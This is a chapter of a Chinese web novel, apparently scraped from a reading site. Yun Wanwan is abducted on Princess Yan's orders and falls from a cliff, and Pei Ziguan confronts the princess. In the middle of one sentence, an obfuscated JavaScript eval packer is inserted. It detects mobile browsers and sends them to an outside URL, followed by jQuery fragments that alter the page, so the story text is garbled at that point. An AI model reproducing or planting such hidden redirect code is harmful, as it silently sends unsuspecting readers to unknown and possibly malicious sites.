或许要等清修半年的期限过了吧,她本来以为自己可以等,可是越等,就越忧郁。


    她内心总是忘不掉那个夜晚,阮媚儿摔倒在自己的身边,忘不了那个成型的死胎。虽然真的不是她干的,她也跟姨母说过,求她为自己查证,可总也得不到消息。


    本就名声不好了,再背负着这条人命,自己还有什么出路?


    不过成为一个外室罢了...


    啊!人生真的,好没有意思。


    如此这般又过了二十来日,将将到了四月份,这一日裴子观本应该过来,可春雨延绵不绝,越下越大。眼看着天都要黑了,裴子观还没有来。


    云晚晚这才停止在廊下发呆,叫碧桃回房。


    豆大的雨点砸在青瓦上噼啪作响,碧桃去给小姐提水,云晚晚刚将手上的金饰退下。后颈突然袭来一阵刺骨的寒意。她猛地回头,只见一个黑衣蒙面者不知何时藏在她的房间。那明晃晃的匕首架在自己的脖子上,示意着她不要喊叫。


    云晚晚捂住自己的嘴巴,瞪大双眼疑问:勇士有何贵干?


    “云小姐,还要劳烦您跟我走一趟了。”那人也不等云晚晚反应,一个手刀就将她劈晕,直接就将她从雨中带走。


    半梦半醒之际,云晚晚感觉自己的脖子痛的发颤,她逐渐被这痛感给弄醒,只看见自己仿佛处于一个山洞,黑衣人在她的对面烧起了火堆,似是想烤干被雨淋湿的衣裳。


    大雨还在延续,簌簌的落雨声在洞外依旧清晰可闻。


    “请问,我们这是在哪里?”


    黑衣人冷哼一声:“你到有兴致,这时候不关心自己的安危,反倒关心这是什么位置。”


    他停了片刻,想着等下就要在这里将这女子正法,不妨告诉她也无碍。


    才说:“这是思过崖,公主要我问你,知道自己错在哪里没有?!”


    原来是思过崖啊,静思观处在半山腰,思过崖却在山顶,除极阳山以外,思过崖也是个险峻的冷峰了。她自嘲的笑了一声:“我何错之有?”


    “你!”黑衣人看这女子竟然死不悔改,临终了还敢如此挑衅公主,自是气急。


    “你不要想着得罪了公主,自己还会有什么好下场,公主说给你最后一个机会,让你去勐国和亲,勐国的小王子透漏有意和大周联姻,你若是答应,还有一线生机,若不答应,今日你就得交代在这里。”


    黑衣人又拿出了他的匕首把玩,云晚晚下意识将手边的石块砸过去,转身就往洞外跑。湿漉漉的碎石子路硌得厉害,她的绣花鞋踩在上面几乎站立不稳,身后的刀锋却已擦着发梢掠过。


    云晚晚不敢回头,只能拼尽全力向前奔跑,泥水溅满了她的裙摆,冰冷的雨水顺着她的发丝滴落,模糊了她的视线。


    身后的脚步声越来越近,那令人窒息的压迫感如影随形。云晚晚咬了咬牙,转身向山顶跑去。山路湿滑,长满了青苔的石头让她脚下一滑,险些摔倒。


    她的衣裳被淋湿,手脚都被荆棘所划伤,大雨挡住了她的视线,但她也不敢停歇。


    不知跑了多久,她发现自己竟然跑到了悬崖边上,那黑衣人毫不费力的跟在自己身后大笑:“就你?也妄想逃离我的手掌心?哈哈哈哈哈哈!!!”


    “你既不愿为公主做事,不妨告诉你,裴侍郎已经答应了圣上的赐婚,砚公主憎恶你欺骗于她,绝不会留你在裴侍郎身边。”


    “你说裴子观答应赐婚就是答应了?我怎么没听到消息?你现在就是想蒙骗我,让我死心,好为了砚公主嫁到那个野蛮之地,我告诉你,你想得美!”云晚晚不折不挠。


    黑衣人发出不屑的冷哼,从怀里掏出了那只蒙眼的小兔,还有她亲手做给裴子观的发带。


    “裴侍郎已经将你们的过往全都告诉公主,就为了留你在身边当个妾。”


    “这就是信物,你还不信吗?”


    云晚晚不敢置信的摇了摇头,身子不自觉的向后退着。突然她感觉喉头一紧,兀地吐了一口鲜血出来。


    黑衣人依旧紧追不舍,距离越来越近。


    就在这时,她脚下一空,身体瞬间失去了平衡,跌了下去。


    身体急速下坠,耳边是呼啸的风声和雨水的拍打声。云晚晚感觉自己的意识渐渐模糊,


    那一瞬间,她的脑子里想的却是:


    这样也好。


    -------------------------------------


    这一年是寡年,无立春,世人将“立春”与生机联系起来,认为春不立,则生不旺,而成婚最忌无子,是以民间流传“无春年不可成婚”等说法,还将无春年演绎为了“寡年”。认为其不吉利。


    裴子观早就以寡年为由拒绝了陛下对砚公主和他的赐婚,他自是知道,自己书房的东西被砚公主的人偷走,怒气冲冲的赶到公主府上,砚公主却殷勤的招待他:“子观,你怎么来了?快来,我这里正好有新进贡的好茶,正好你来喝一杯尝鲜。”


    “还请公主还给我玉兔和发带。”裴子观瘦长坚毅的身躯站在院里不愿挪动。


    “那个等会儿再说,我们先去品尝一下新茶,我跟你说,皇兄他......”


    “还请公主还给臣!”裴子观加重了语气。


    砚公主终于是沉下了脸。


    “子观,我自问从小到大一直优待于你,我不信你不知道我对你的意思。”


    裴子观不为所动。


    砚公主继续开口说道:“你以寡年为由拒了皇兄的赐婚,可明年不是寡年,后年也不是,你能拒皇兄一次,难道还能拒第二次,第三次?”


    “臣承蒙公主错爱,自觉不是良人,还请公主另择佳婿。”裴子观抱拳回到。


    砚公主却不依他:“你不是良人?那满朝文武就没有一个良人了!你六岁就出门游学,九岁名扬天下,从来都洁身自好,一身正气,你的父母也恩爱白首,伯爷连个妾都没有。嫁到你裴家,是京都所有待嫁女子的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109383|177637||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    愿望!”


    “可是那微贱女子蒙骗于我,她说想进宫,想选妃,我冒着得罪皇嫂的危险给了她机会,可她呢?一边打的是做天子妃嫔向上攀的主意,一边却蓄意勾引于你,子观,我只是看不过眼想给她点教训罢了。”她越说越激动,裴子观却打断了她。


    “她没有勾引于我!是我!是我不愿放过她!还请公主降罪于臣!不要再为难云晚晚。”裴子观终于屈膝向砚公主跪了下去。


    “你!裴子观,你竟然为了这样卑贱的女子对我下跪!你可知,她如今不愿做你的小,跟我的手下说愿意嫁给勐国的王子!”


    裴子观抬头:“不可能。”


    “那你就在我这等着,今日我的人就会回来复命,届时你便知道,你舍不得的究竟是一个怎样趋炎附势的小人!”


    裴子观却还是不依不挠:“还请公主还给臣玉兔和发带!”


    砚公主彻底的黑了脸,玉兔和发带如今还不在自己的手里,怎么给他!


    她只能强词夺理:"裴子观,我好声好气请你留下等消息,你不要敬酒不吃吃罚酒,你的东西我说了会还给你,但是不是现在。你若进去跟我品茗,我们就好好等着,你若不去,你就在这外院待着吧!"


    她看着裴子观不愿挪动自己半分,才恍然自己真是白瞎了一片好心。


    她气的自己先进了正厅,任由裴子观在外院呆着,但是隔了一会儿又不放心,叫人搬了桌椅去那外院给裴子观坐着,又吩咐人上茶水点心给裴子观,里头还带上了她刚刚说的新茶。


    只不过,她想着自己的盘算。让人去吓云晚晚,不与王子和亲就得死,云晚晚那种趋炎附势的女子,在生死之间,一定会选择嫁给勐国王子,如此也好让裴子观看清她攀附权贵的真面目。


    至于她俩的赐婚,今次拒了,来年便不能再拒了。


    直到那黑衣人也屁滚尿流的禀告进府,裴子观在院中才有了一丝反应。他看着这黑衣人禀告云晚晚掉下悬崖去之时猛地站了起来。


    砚公主也因受到了惊吓后退了好几步!


    我不是叫你跟她说勐国王子的事情!”尖利的质问陡然刺破了庭院的寂静。


    砚公主胸口剧烈起伏着,“你怎么让她掉下悬崖?!你!你该死!”


    最后三个字几乎是从牙缝里挤出来的,她抬脚便要往黑衣人身上踹去,却被裙摆绊得踉跄了一下。


    这才想起自己此刻在裴子观面前的失态,忙用绣帕按住发烫的脸颊,眼底的怒意却丝毫未减。


    黑衣人早已“噗通”一声跪倒在地。他的衣袍沾满了泥土。


    肉眼可见他是从什么样的环境中回来的。


    他将额头死死抵着冰冷的地面,连呼吸都带着颤抖,:“属下罪该万死!是那姑娘逃跑至悬崖边上,突然后退……属下没抓稳……求公主责罚!求公主饶命啊!”


    裴子观却恍若未闻,也不向砚公主告退,急急地出了公主府,骑上了自己的马,向思过崖方向跑去!